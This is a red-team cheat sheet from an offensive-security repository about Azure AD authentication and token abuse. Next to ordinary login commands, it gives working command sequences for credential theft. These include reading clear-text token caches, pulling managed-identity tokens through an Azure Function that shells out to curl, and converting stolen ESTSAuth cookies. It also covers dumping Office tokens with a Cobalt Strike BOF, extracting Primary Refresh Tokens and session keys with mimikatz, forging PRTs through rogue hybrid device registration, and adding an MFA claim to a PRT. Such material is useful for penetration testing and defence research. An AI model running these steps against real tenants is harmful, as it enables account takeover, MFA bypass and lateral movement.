azure-access-and-token.md (17953B)
1 --- 2 title: "Azure AD - Access and Tokens" 3 section: "Cloud" 4 sectionSlug: "cloud" 5 sourcePath: "docs/cloud/azure/azure-access-and-token.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-access-and-token.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Azure AD - Access and Tokens 12 13 ## Connection 14 15 When you authenticate to the Microsoft Graph API in PowerShell/CLI, you will be using an application from a Microsoft's tenant. 16 17 * [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in) 18 * [Entra ID First Party Apps & Scope Browser](https://entrascopes.com/) 19 20 | Name | Application ID | 21 |----------------------------|--------------------------------------| 22 | Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 | 23 | Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 | 24 | Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | 25 26 After a successfull authentication, you will get an access token. 27 28 ### az cli 29 30 * Login with credentials 31 32 ```ps1 33 az login -u <username> -p <password> 34 az login --service-principal -u <app-id> -p <password> --tenant <tenant-id> 35 ``` 36 37 * Get token 38 39 ```ps1 40 az account get-access-token 41 az account get-access-token --resource-type aad-graph 42 ``` 43 44 Whoami equivalent: `az ad signed-in-user show` 45 46 ### Azure AD Powershell 47 48 * Login with credentials 49 50 ```ps1 51 $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force 52 $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd) 53 Connect-AzureAD -Credential $creds 54 ``` 55 56 ### Az Powershell 57 58 * Login with credentials 59 60 ```ps1 61 $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force 62 $creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>@<TENANT NAME>.onmicrosoft.com", $passwd) 63 Connect-AzAccount -Credential $creds 64 ``` 65 66 * Login with service principal secret 67 68 ```ps1 69 $password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force 70 $creds = New-Object System.Management.Automation.PSCredential('<APP-ID>', $password) 71 Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d 72 73 ``` 74 75 * Get token 76 77 ```ps1 78 (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token 79 Get-AzAccessToken -ResourceTypeName MSGraph 80 ``` 81 82 ### Microsoft Graph Powershell 83 84 * Login with credentials 85 86 ```ps1 87 Connect-MgGraph 88 Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" 89 ``` 90 91 * Login with device code flow 92 93 ```ps1 94 Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication 95 ``` 96 97 Whoami equivalent: `Get-MgContext` 98 99 ### External HTTP API 100 101 * Login with credentials 102 103 ```ps1 104 # TODO 105 ``` 106 107 #### Device Code 108 109 Request a device code 110 111 ```ps1 112 $body = @{ 113 "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" 114 "resource" = "https://graph.microsoft.com" 115 } 116 $UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 117 $Headers=@{} 118 $Headers["User-Agent"] = $UserAgent 119 $authResponse = Invoke-RestMethod ` 120 -UseBasicParsing ` 121 -Method Post ` 122 -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` 123 -Headers $Headers ` 124 -Body $body 125 $authResponse 126 ``` 127 128 Go to device login [microsoft.com/devicelogin](https://login.microsoftonline.com/common/oauth2/deviceauth) and input the device code. Then ask for an access token. 129 130 ```ps1 131 $body=@{ 132 "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" 133 "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" 134 "code" = $authResponse.device_code 135 } 136 $Tokens = Invoke-RestMethod ` 137 -UseBasicParsing ` 138 -Method Post ` 139 -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` 140 -Headers $Headers ` 141 -Body $body 142 $Tokens 143 ``` 144 145 #### Service Principal 146 147 * Request an access token using a **service principal password** 148 149 ```ps1 150 curl --location --request POST 'https://login.microsoftonline.com/<tenant-name>/oauth2/v2.0/token' \ 151 --header 'Content-Type: application/x-www-form-urlencoded' \ 152 --data-urlencode 'client_id=<client-id>' \ 153 --data-urlencode 'scope=https://graph.microsoft.com/.default' \ 154 --data-urlencode 'client_secret=<client-secret>' \ 155 --data-urlencode 'grant_type=client_credentials' 156 ``` 157 158 #### App Secret 159 160 An App Secret (also called a client secret) is a string used for securing communication between an application and Azure Active Directory (Azure AD). It is a credential that the application uses along with its client ID to authenticate itself when accessing Azure resources, such as APIs or other services, on behalf of a user or a system. 161 162 ```ps1 163 $appid = '<app-id>' 164 $tenantid = '<tenant-id>' 165 $secret = '<app-secret>' 166 167 $body = @{ 168 Grant_Type = "client_credentials" 169 Scope = "https://graph.microsoft.com/.default" 170 Client_Id = $appid 171 Client_Secret = $secret 172 } 173 174 $connection = Invoke-RestMethod ` 175 -Uri https://login.microsoftonline.com/$tenantid/oauth2/v2.0/token ` 176 -Method POST ` 177 -Body $body 178 179 Connect-MgGraph -AccessToken $connection.access_token 180 ``` 181 182 ### Internal HTTP API 183 184 > **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**. 185 186 Find `IDENTITY_HEADER` and `IDENTITY_ENDPOINT` from the environment variables: `env` 187 188 Most of the time, you want a token for one of these resources: 189 190 * <https://graph.microsoft.com> 191 * <https://management.azure.com> 192 * <https://storage.azure.com> 193 * <https://vault.azure.net> 194 195 * PowerShell 196 197 ```ps1 198 curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER 199 curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER 200 ``` 201 202 * Azure Function (Python) 203 204 ```py 205 import logging, os 206 import azure.functions as func 207 208 def main(req: func.HttpRequest) -> func.HttpResponse: 209 logging.info('Python HTTP trigger function processed a request.') 210 IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] 211 IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] 212 cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) 213 val = os.popen(cmd).read() 214 return func.HttpResponse(val, status_code=200) 215 ``` 216 217 ## Access Token 218 219 An access token is a type of security token issued by Azure Active Directory (Azure AD) that grants a user or application permission to access resources. These resources could be anything from APIs, web applications, data stored in Azure, or other services that are integrated with Azure AD for authentication and authorization. 220 221 Decode access tokens: [jwt.ms](https://jwt.ms/) 222 223 * Use the access token with **MgGraph** 224 225 ```ps1 226 # use the jwt 227 $token = "eyJ0eXAiO..." 228 $secure = $token | ConvertTo-SecureString -AsPlainText -Force 229 Connect-MgGraph -AccessToken $secure 230 ``` 231 232 * Use the access token with **AzureAD** 233 234 ```powershell 235 Connect-AzureAD -AadAccessToken <access-token> -TenantId <tenant-id> -AccountId <account-id> 236 ``` 237 238 * Use the access token with **Az Powershell** 239 240 ```powershell 241 Connect-AzAccount -AccessToken <access-token> -AccountId <account-id> 242 Connect-AzAccount -AccessToken <access-token> -GraphAccessToken <graph-access-token> -AccountId <account-id> 243 ``` 244 245 * Use the access token with the **API** 246 247 ```powershell 248 $Token = 'eyJ0eX..' 249 $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' 250 # $URI = 'https://graph.microsoft.com/v1.0/applications' 251 $RequestParams = @{ 252 Method = 'GET' 253 Uri = $URI 254 Headers = @{ 255 'Authorization' = "Bearer $Token" 256 } 257 } 258 (Invoke-RestMethod @RequestParams).value 259 ``` 260 261 ### Access Token Locations 262 263 Tokens are stored by default on the disk in you use **Azure Cloud Shell**. They canbe extracted by dumping the content of the storage account. 264 265 * az cli 266 * az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\<username>\.Azure` 267 * azureProfile.json in the same directory contains information about subscriptions. 268 269 * Az PowerShell 270 * Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\<username>\.Azure` 271 * It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json** 272 * Users can save tokens using `Save-AzContext` 273 274 ## Refresh Token 275 276 * Requesting a token using credentials 277 278 ```ps1 279 TODO 280 ``` 281 282 ### Get a Refresh Token from ESTSAuth Cookie 283 284 `ESTSAuthPersistent` is only useful when a CA policy actually grants a persistent session. Otherwise, you should use `ESTSAuth`. 285 286 ```ps1 287 TokenTacticsV2> Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8" 288 TokenTacticsV2> Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.." 289 ``` 290 291 ### Get a Refresh Token from Office process 292 293 * [trustedsec/CS-Remote-OPs-BOF](https://github.com/trustedsec/CS-Remote-OPs-BOF) 294 295 ```ps1 296 load bofloader 297 execute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i 7324 298 ``` 299 300 ## FOCI Refresh Token 301 302 Family of client ids (FOCI) allows applications registered with Azure AD to share tokens, minimizing the need for separate authentications when a user accesses multiple applications that are part of the same "family." 303 304 * [secureworks/family-of-client-ids-research/](https://github.com/secureworks/family-of-client-ids-research/blob/main/scope-map.txt) - Research into Undocumented Behavior of Azure AD Refresh Tokens 305 306 **Generate tokens** 307 308 ```ps1 309 roadtx gettokens --refresh-token <refresh-token> -c <foci-id> -r https://graph.microsoft.com 310 roadtx gettokens --refresh-token <refresh-token> -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 311 ``` 312 313 ```ps1 314 scope resource client 315 .default 04b07795-8ddb-461a-bbee-02f9e1bf7b46 04b07795-8ddb-461a-bbee-02f9e1bf7b46 316 1950a258-227b-4e31-a9cf-717495945fc2 1950a258-227b-4e31-a9cf-717495945fc2 317 https://graph.microsoft.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 318 04b07795-8ddb-461a-bbee-02f9e1bf7b46 319 https://graph.windows.net 00b41c95-dab0-4487-9791-b9d2c32c80f2 320 04b07795-8ddb-461a-bbee-02f9e1bf7b46 321 https://outlook.office.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 322 04b07795-8ddb-461a-bbee-02f9e1bf7b46 323 Files.Read.All d3590ed6-52b3-4102-aeff-aad2292ab01c d3590ed6-52b3-4102-aeff-aad2292ab01c 324 https://graph.microsoft.com 3590ed6-52b3-4102-aeff-aad2292ab01c 325 https://outlook.office.com 1fec8e78-bce4-4aaf-ab1b-5451cc387264 326 Mail.ReadWrite.All https://graph.microsoft.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 327 https://outlook.office.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 328 https://outlook.office365.com 00b41c95-dab0-4487-9791-b9d2c32c80f2 329 ``` 330 331 ## Primary Refresh Token 332 333 A Primary Refresh Token (PRT) is a key artifact in the authentication and identity management process in Microsoft's Azure AD (Azure Active Directory) environment. The PRT is primarily used for maintaining a seamless sign-in experience on devices. 334 335 :warning: A PRT is valid for 90 days and is continuously renewed as long as the device is in use. However, it's only valid for 14 days if the device is not in use. 336 337 * Use PRT token 338 339 ```ps1 340 roadtx browserprtauth --prt <prt-token> --prt-sessionkey <session-key> 341 roadtx browserprtauth --prt roadtx.prt -url http://www.office.com 342 ``` 343 344 ### Extract PRT v1 - Pass-the-PRT 345 346 MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on). 347 348 * Use mimikatz to extract the PRT and session key 349 350 ```ps1 351 mimikatz # privilege::debug 352 mimikatz # token::elevate 353 mimikatz # sekurlsa::cloudap 354 mimikatz # sekurlsa::dpapi 355 mimikatz # dpapi::cloudapkd /keyvalue:<key-value> /unprotect 356 mimikatz # dpapi::cloudapkd /context:<context> /derivedkey:<derived-key> /Prt:<prt> 357 ``` 358 359 * Use either roadtx or AADInternals to generate a new PRT token 360 361 ```ps1 362 roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url https://portal.azure.com 363 364 PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 365 PS AADInternals> $PRT_OF_USER = '...' 366 PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="} 367 PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER)) 368 PS AADInternals> $ClearKey = "XXYYZZ..." 369 PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne '')) 370 PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce 371 ``` 372 373 ### Extract PRT on Device with TPM 374 375 * No method known to date. 376 377 ### Request a PRT using the Refresh Flow 378 379 * Request a nonce from AAD: `roadrecon auth --prt-init -t <tenant-id>` 380 * Use [dirkjanm/ROADtoken](https://github.com/dirkjanm/ROADtoken) or [wotwot563/aad_prt_bof](https://github.com/wotwot563/aad_prt_bof) to initiate a new PRT request. 381 * `roadrecon auth --prt-cookie <prt-cookie> --tokens-stdout --debug` or `roadtx gettoken --prt-cookie <x-ms-refreshtokencredential>` 382 * Then browse to [login.microsoftonline.com](https://login.microsoftonline.com) with a cookie `x-ms-RefreshTokenCredential:<output-from-roadrecon>` 383 384 ```powershell 385 Name: x-ms-RefreshTokenCredential 386 Value: <Signed JWT> 387 HttpOnly: √ 388 ``` 389 390 :warning: Mark the cookie with the flags `HTTPOnly` and `Secure`. 391 392 ### Request a PRT with Hybrid Device 393 394 Requirements: 395 396 * ADDS user credentials 397 * hybrid environment (ADDS and Azure AD) 398 399 Use the user account to create a computer and request a PRT 400 401 * Create a computer account in AD: `impacket-addcomputer <domain>/<username>:<password> -dc-ip <dc-ip>` 402 * Configure the computer certificate in AD with [dirkjanm/roadtools_hybrid](https://github.com/dirkjanm/roadtools_hybrid): `python setcert.py 10.10.10.10 -t '<machine-account$>' -u '<domain>\<machine-account$>' -p <machine-password>` 403 * Register the hybrid device in Azure AD with this certificate: `roadtx hybriddevice -c '<machine-account>.pem' -k '<machine-account>.key' --sid '<device-sid>' -t '<aad-tenant-id>'` 404 * Get a PRT with device claim 405 406 ```ps1 407 roadtx prt -c <hybrid-device-name>.pem -k <hybrid-device-name>.key -u <username>@h<domain> -p <password> 408 roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com 409 ``` 410 411 ### Upgrade Refresh Token to PRT 412 413 * Get correct token audience: `roadtx gettokens -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r urn:ms-drs:enterpriseregistration.windows.net --refresh-token file` 414 * Registering device: `roadtx device -a register -n <device-name>` 415 * Request PRT `roadtx prt --refresh-token <refresh-token> -c <device-name>.pem -k <device-name>.key` 416 * Use a PRT: `roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com` 417 418 ### Enriching a PRT with MFA claim 419 420 * Request a special refresh token: `roadtx prtenrich -u username@domain` 421 * Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key` 422 423 ## References 424 425 * [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema - April 16, 2020](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/) 426 * [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0) 427 * [Microsoft 365 Developer Program](https://developer.microsoft.com/en-us/microsoft-365/dev-program) 428 * [PRT Abuse from Userland with Cobalt Strike - 0xbad53c](https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike) 429 * [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94) 430 * [Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert - AADInternals.com - September 01, 2020](https://aadinternals.com/post/prt/) 431 * [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html) 432 * [Attacking Azure Cloud shell - Karl Fosaaen - December 10, 2019](https://blog.netspi.com/attacking-azure-cloud-shell/) 433 * [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) 434 * [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/) 435 * [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/) 436 * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) 437 * [Understanding Tokens in Entra ID: A Comprehensive Guide - Lina Lau - September 18, 2024](https://www.xintra.org/blog/tokens-in-entra-id-guide)